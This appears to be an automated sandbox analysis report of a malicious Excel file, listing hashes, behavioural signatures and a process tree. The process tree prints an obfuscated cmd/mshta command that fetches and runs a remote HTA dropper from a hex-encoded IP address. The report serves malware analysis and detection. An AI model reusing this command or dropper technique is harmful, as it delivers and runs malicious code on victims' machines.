Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    17-01-2022 22:03

General

  • Target

    aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls

  • Size

    64KB

  • MD5

    9c04ae80f6d403f686236383673c96e5

  • SHA1

    aa036250ec5886e05c0bc63df44a72ffedd9f056

  • SHA256

    aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc

  • SHA512

    256b0da900c5145927c0ea3de95b97fa19d0478a0618b14a5c0fc06fe55d708d0ee796aa69686ad1b0446f145b81783c36859573003d257b462d5419016b13a6

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xc12a24f5/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\system32\mshta.exe
        mshta http://0xc12a24f5/cc.html
        3⤵
        • Blocklisted process makes network request
        PID:2752

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3168-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

    Filesize

    64KB

  • memory/3168-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

    Filesize

    64KB

  • memory/3168-120-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

    Filesize

    64KB

  • memory/3168-121-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

    Filesize

    64KB

  • memory/3168-122-0x0000023797EC0000-0x0000023797EC2000-memory.dmp

    Filesize

    8KB

  • memory/3168-123-0x0000023797EC0000-0x0000023797EC2000-memory.dmp

    Filesize

    8KB

  • memory/3168-124-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

    Filesize

    64KB

  • memory/3168-125-0x0000023797EC0000-0x0000023797EC2000-memory.dmp

    Filesize

    8KB

  • memory/3168-131-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

    Filesize

    64KB

  • memory/3168-132-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

    Filesize

    64KB